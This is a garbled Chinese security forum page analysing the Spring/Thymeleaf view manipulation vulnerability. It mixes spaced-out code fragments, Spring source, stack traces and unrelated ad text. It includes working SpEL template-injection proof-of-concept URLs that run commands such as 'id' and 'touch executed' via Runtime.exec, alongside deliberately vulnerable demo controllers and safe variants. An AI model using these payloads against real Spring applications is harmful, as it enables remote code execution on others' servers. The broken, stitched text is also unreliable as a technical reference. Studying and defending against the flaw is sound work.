[7027] 2020-11-02_Spring视图操纵漏洞

文档创建者:s7ckTeam
浏览次数:6
最后更新:2025-01-17
2020-11-02_Spring视图操纵漏洞 S p r i n g   E   2 0 2 0 - 1 1 - 0 2   l 1 n k 3 r 使 N o . 1 N o . 1 G i t H u b d e m o   R e f e r e n c e   s p r i n g v i e w   T h y m e l e a f   N o . 2 N o . 2 s p r i n g   o r g . s p r i n g f r a m e w o r k . w e b . s e r v l e t . V i e w V i e w #   r e n d e r     o r g . s p r i n g f r a m e w o r k . w e b . s e r v l e t . D i s p a t c h e r S e r v l e t . r e n d e r S t r i n g   v i e w N a m e   =   m v . g e t V i e w N a m e ( ) ; P O C   .         / / G E T   / p a t h ? l a n g = e n   H T T P / 1 . 1         / / G E T   / p a t h ? l a n g = _ _ $ % 7 b n e w % 2 0 j a v a . u t i l . S c a n n e r ( T ( j a v a . l a n g . R u n t i m e ) . g e t R u n t i m e ( ) . e x e c ( % 2 2 i d % 2 2 ) . g e t I n p u t S t r e a m ( ) ) . n e x t ( ) % 7 d _ _ : : . x         @ G e t M a p p i n g ( " / p a t h " )         p u b l i c   S t r i n g   p a t h ( @ R e q u e s t P a r a m   S t r i n g   l a n g )   {                 r e t u r n   " u s e r / "   +   l a n g   +   " / w e l c o m e " ;   / / t e m p l a t e   p a t h   i s   t a i n t e d         }         / / G E T   / f r a g m e n t ? s e c t i o n = m a i n         / / G E T   / f r a g m e n t ? s e c t i o n = _ _ $ % 7 b n e w % 2 0 j a v a . u t i l . S c a n n e r ( T ( j a v a . l a n g . R u n t i m e ) . g e t R u n t i m e ( ) . e x e c ( % 2 2 t o u c h % 2 0 e x e c u t e d % 2 2 ) . g e t I n p u t S t r e a m ( ) ) . n e x t ( ) % 7 d _ _ : : . x         @ G e t M a p p i n g ( " / f r a g m e n t " )         p u b l i c   S t r i n g   f r a g m e n t ( @ R e q u e s t P a r a m   S t r i n g   s e c t i o n )   {                 r e t u r n   " w e l c o m e   : :   "   +   s e c t i o n ;   / / f r a g m e n t   i s   t a i n t e d         }     / * *       *   R e n d e r   t h e   v i e w   g i v e n   t h e   s p e c i f i e d   m o d e l .       *   < p > T h e   f i r s t   s t e p   w i l l   b e   p r e p a r i n g   t h e   r e q u e s t :   I n   t h e   J S P   c a s e ,   t h i s   w o u l d   m e a n       *   s e t t i n g   m o d e l   o b j e c t s   a s   r e q u e s t   a t t r i b u t e s .   T h e   s e c o n d   s t e p   w i l l   b e   t h e   a c t u a l       *   r e n d e r i n g   o f   t h e   v i e w ,   f o r   e x a m p l e   i n c l u d i n g   t h e   J S P   v i a   a   R e q u e s t D i s p a t c h e r .       *   @ p a r a m   m o d e l   a   M a p   w i t h   n a m e   S t r i n g s   a s   k e y s   a n d   c o r r e s p o n d i n g   m o d e l       *   o b j e c t s   a s   v a l u e s   ( M a p   c a n   a l s o   b e   { @ c o d e   n u l l }   i n   c a s e   o f   e m p t y   m o d e l )       *   @ p a r a m   r e q u e s t   c u r r e n t   H T T P   r e q u e s t       *   @ p a r a m   r e s p o n s e   h e   H T T P   r e s p o n s e   w e   a r e   b u i l d i n g       *   @ t h r o w s   E x c e p t i o n   i f   r e n d e r i n g   f a i l e d       * /     v o i d   r e n d e r ( @ N u l l a b l e   M a p < S t r i n g ,   ? >   m o d e l ,   H t t p S e r v l e t R e q u e s t   r e q u e s t ,   H t t p S e r v l e t R e s p o n s e   r e s p o n s e )             t h r o w s   E x c e p t i o n ; }     p r o t e c t e d   v o i d   r e n d e r ( M o d e l A n d V i e w   m v ,   H t t p S e r v l e t R e q u e s t   r e q u e s t ,   H t t p S e r v l e t R e s p o n s e   r e s p o n s e )   t h r o w s   E x c e p t i o n   {             . . .         V i e w   v i e w ;         S t r i n g   v i e w N a m e   =   m v . g e t V i e w N a m e ( ) ;         i f   ( v i e w N a m e   ! =   n u l l )   {             / /   W e   n e e d   t o   r e s o l v e   t h e   v i e w   n a m e .             v i e w   =   r e s o l v e V i e w N a m e ( v i e w N a m e ,   m v . g e t M o d e l I n t e r n a l ( ) ,   l o c a l e ,   r e q u e s t ) ;             i f   ( v i e w   = =   n u l l )   {                 t h r o w   n e w   S e r v l e t E x c e p t i o n ( " C o u l d   n o t   r e s o l v e   v i e w   w i t h   n a m e   ' "   +   m v . g e t V i e w N a m e ( )   +                         " '   i n   s e r v l e t   w i t h   n a m e   ' "   +   g e t S e r v l e t N a m e ( )   +   " ' " ) ;             }         }                 . . .                     t r y   {             i f   ( m v . g e t S t a t u s ( )   ! =   n u l l )   {                 r e s p o n s e . s e t S t a t u s ( m v . g e t S t a t u s ( ) . v a l u e ( ) ) ;             }             v i e w . r e n d e r ( m v . g e t M o d e l I n t e r n a l ( ) ,   r e q u e s t ,   r e s p o n s e ) ;         }
v i e w   =   r e s o l v e V i e w N a m e ( v i e w N a m e ,   m v . g e t M o d e l I n t e r n a l ( ) ,   l o c a l e ,   r e q u e s t ) ;   r e s o l v e V i e w N a m e       C o n t e n t N e g o t i a t i n g V i e w R e s o l v e r #   r e s o l v e V i e w N a m e     g e t C a n d i d a t e V i e w s   g e t C a n d i d a t e V i e w s     t h i s . v i e w R e s o l v e r s     T h y m e l e a f V i e w R e s o l v e r     c r e a t e V i e w   r e d i r e c t : f o r w a r d :   V i e w N a m e     r e s o l v e V i e w N a m e   T h y m e l e a f V i e w     U r l B a s e d V i e w R e s o l v e r #   c r e a t e V i e w   r e d i r e c t : f o r w a r d :   r e s o l v e V i e w N a m e   I n t e r n a l R e s o u r c e V i e w     g e t B e s t V i e w   c a n d i d a t e V i e w s     l i s t   v i e w   I n t e r n a l R e s o u r c e V i e w     T h y m e l e a f V i e w     T h y m e l e a f V i e w   v i e w   = r e s o l v e V i e w N a m e ( v i e w N a m e ,   m v . g e t M o d e l I n t e r n a l ( ) ,   l o c a l e ,   r e q u e s t ) ;   T h y m e l e a f V i e w   v i e w . r e n d e r ( m v . g e t M o d e l I n t e r n a l ( ) ,   r e q u e s t ,   r e s p o n s e ) ;   o r g . t h y m e l e a f . s p r i n g 5 . e x p r e s s i o n . S P E L V a r i a b l e E x p r e s s i o n E v a l u a t o r #   e v a l u a t e       p u b l i c   V i e w   r e s o l v e V i e w N a m e ( S t r i n g   v i e w N a m e ,   L o c a l e   l o c a l e )   t h r o w s   E x c e p t i o n   {         R e q u e s t A t t r i b u t e s   a t t r s   =   R e q u e s t C o n t e x t H o l d e r . g e t R e q u e s t A t t r i b u t e s ( ) ;         A s s e r t . s t a t e ( a t t r s   i n s t a n c e o f   S e r v l e t R e q u e s t A t t r i b u t e s ,   " N o   c u r r e n t   S e r v l e t R e q u e s t A t t r i b u t e s " ) ;         L i s t < M e d i a T y p e >   r e q u e s t e d M e d i a T y p e s   =   g e t M e d i a T y p e s ( ( ( S e r v l e t R e q u e s t A t t r i b u t e s )   a t t r s ) . g e t R e q u e s t ( ) ) ;         i f   ( r e q u e s t e d M e d i a T y p e s   ! =   n u l l )   {             L i s t < V i e w >   c a n d i d a t e V i e w s   =   g e t C a n d i d a t e V i e w s ( v i e w N a m e ,   l o c a l e ,   r e q u e s t e d M e d i a T y p e s ) ;             V i e w   b e s t V i e w   =   g e t B e s t V i e w ( c a n d i d a t e V i e w s ,   r e q u e s t e d M e d i a T y p e s ,   a t t r s ) ;             i f   ( b e s t V i e w   ! =   n u l l )   {                 r e t u r n   b e s t V i e w ;             }         } e x e c : 3 4 7 ,   R u n t i m e   ( j a v a . l a n g ) . . . e v a l u a t e : 2 6 3 ,   S P E L V a r i a b l e E x p r e s s i o n E v a l u a t o r   ( o r g . t h y m e l e a f . s p r i n g 5 . e x p r e s s i o n ) e x e c u t e V a r i a b l e E x p r e s s i o n : 1 6 6 ,   V a r i a b l e E x p r e s s i o n   ( o r g . t h y m e l e a f . s t a n d a r d . e x p r e s s i o n ) e x e c u t e S i m p l e : 6 6 ,   S i m p l e E x p r e s s i o n   ( o r g . t h y m e l e a f . s t a n d a r d . e x p r e s s i o n )
N o . 3 N o . 3 1 @ R e s p o n s e B o d y   @ R e s p o n s e B o d y     R e q u e s t M a p p i n g H a n d l e r A d a p t e r #   h a n d l e I n t e r n a l   v i e w   r e n d e r   2 r e d i r e c t : f o r w a r d :   A b s t r a c t C a c h i n g V i e w R e s o l v e r #   r e s o l v e V i e w N a m e   v i e w   =   c r e a t e V i e w ( v i e w N a m e ,   l o c a l e ) ;   c r e a t e V i e w   r e d i r e c t : f o r w a r d :   R e d i r e c t V i e w     I n t e r n a l R e s o u r c e V i e w   3 H t t p S e r v l e t R e s p o n s e H t t p S e r v l e t R e s p o n s e   r e s p o n s e o r g / s p r i n g f r a m e w o r k / w e b / s e r v l e t / D i s p a t c h e r S e r v l e t #   d o D i s p a t c h     m o d e l a n d V i e w   e x e c u t e S i m p l e : 6 6 ,   S i m p l e E x p r e s s i o n   ( o r g . t h y m e l e a f . s t a n d a r d . e x p r e s s i o n ) e x e c u t e : 1 0 9 ,   E x p r e s s i o n   ( o r g . t h y m e l e a f . s t a n d a r d . e x p r e s s i o n ) e x e c u t e : 1 3 8 ,   E x p r e s s i o n   ( o r g . t h y m e l e a f . s t a n d a r d . e x p r e s s i o n ) p r e p r o c e s s : 9 1 ,   S t a n d a r d E x p r e s s i o n P r e p r o c e s s o r   ( o r g . t h y m e l e a f . s t a n d a r d . e x p r e s s i o n ) p a r s e E x p r e s s i o n : 1 2 0 ,   S t a n d a r d E x p r e s s i o n P a r s e r   ( o r g . t h y m e l e a f . s t a n d a r d . e x p r e s s i o n ) p a r s e E x p r e s s i o n : 6 2 ,   S t a n d a r d E x p r e s s i o n P a r s e r   ( o r g . t h y m e l e a f . s t a n d a r d . e x p r e s s i o n ) p a r s e E x p r e s s i o n : 4 4 ,   S t a n d a r d E x p r e s s i o n P a r s e r   ( o r g . t h y m e l e a f . s t a n d a r d . e x p r e s s i o n ) r e n d e r F r a g m e n t : 2 7 8 ,   T h y m e l e a f V i e w   ( o r g . t h y m e l e a f . s p r i n g 5 . v i e w ) r e n d e r : 1 8 9 ,   T h y m e l e a f V i e w   ( o r g . t h y m e l e a f . s p r i n g 5 . v i e w )         / / G E T   / f r a g m e n t ? s e c t i o n = m a i n         / / G E T   / f r a g m e n t ? s e c t i o n = _ _ $ % 7 b n e w % 2 0 j a v a . u t i l . S c a n n e r ( T ( j a v a . l a n g . R u n t i m e ) . g e t R u n t i m e ( ) . e x e c ( % 2 2 t o u c h % 2 0 e x e c u t e d % 2 2 ) . g e t I n p u t S t r e a m ( ) ) . n e x t ( ) % 7 d _ _ : : . x         @ G e t M a p p i n g ( " / f r a g m e n t " )         p u b l i c   S t r i n g   f r a g m e n t ( @ R e q u e s t P a r a m   S t r i n g   s e c t i o n )   {                 r e t u r n   " w e l c o m e   : :   "   +   s e c t i o n ;   / / f r a g m e n t   i s   t a i n t e d         } @ G e t M a p p i n g ( " / s a f e / f r a g m e n t " )         @ R e s p o n s e B o d y         p u b l i c   S t r i n g   s a f e F r a g m e n t ( @ R e q u e s t P a r a m   S t r i n g   s e c t i o n )   {                 r e t u r n   " w e l c o m e   : :   "   +   s e c t i o n ;   / / F P ,   a s   @ R e s p o n s e B o d y   a n n o t a t i o n   t e l l s   S p r i n g   t o   p r o c e s s   t h e   r e t u r n   v a l u e s   a s   b o d y ,   i n s t e a d   o f   v i e w   n a m e         } 1 R e q u e s t b o d y 使 H t t p M e s s a g e C o n v e r t e r 2 H t t p M e s s a g e C o n v e r t e r   c o n t r o l l e r @ G e t M a p p i n g ( " / s a f e / r e d i r e c t " ) p u b l i c   S t r i n g   r e d i r e c t ( @ R e q u e s t P a r a m   S t r i n g   u r l )   {         r e t u r n   " r e d i r e c t : "   +   u r l ;   / / F P   a s   r e d i r e c t s   a r e   n o t   r e s o l v e d   a s   e x p r e s s i o n s } @ G e t M a p p i n g ( " / s a f e / f o r w a r d " ) p u b l i c   S t r i n g   f o r w a r d ( @ R e q u e s t P a r a m   S t r i n g   u r l )   {         r e t u r n   " f o r w a r d : "   +   u r l ;   / / F P   a s   r e d i r e c t s   a r e   n o t   r e s o l v e d   a s   e x p r e s s i o n s }             @ G e t M a p p i n g ( " / d o c / { d o c u m e n t } " )         p u b l i c   v o i d   g e t D o c u m e n t ( @ P a t h V a r i a b l e   S t r i n g   d o c u m e n t )   {
N o . 4 N o . 4   v e l o c i t y     f r e e m a r k e r     T h y m e l e a f     T h y m e l e a f V i e w #   r e n d e r F r a g m e n t     s p r i n g     D i s p a t c h e r S e r v l e t #   d o D i s p a t c h   N o . 5 N o . 5 R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e h t t p s : / / g i t h u b . c o m / v e r a c o d e - r e s e a r c h / s p r i n g - v i e w - m a n i p u l a t i o n E   h t t p s : / / w w w . e a s y a q . c o m C V E - 2 0 2 0 - 1 4 7 2   W i n d o w s   1 0   N e t l o g o n o f f i c e 3 6 5 线 使 2 F A M i c r o s o f t A z u r e 7 0 0 0 N i t r o   P D F   稿     1 5 5 5 8 1 9 2 9 5 9     E E a n q u a n 0 9 1 4 E         p u b l i c   v o i d   g e t D o c u m e n t ( @ P a t h V a r i a b l e   S t r i n g   d o c u m e n t )   {                 l o g . i n f o ( " R e t r i e v i n g   "   +   d o c u m e n t ) ;                 / / r e t u r n s   v o i d ,   s o   v i e w   n a m e   i s   t a k e n   f r o m   U R I         }         @ G e t M a p p i n g ( " / s a f e / d o c / { d o c u m e n t } " )         p u b l i c   v o i d   g e t D o c u m e n t ( @ P a t h V a r i a b l e   S t r i n g   d o c u m e n t ,   H t t p S e r v l e t R e s p o n s e   r e s p o n s e )   {                 l o g . i n f o ( " R e t r i e v i n g   "   +   d o c u m e n t ) ;   / / F P         }
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则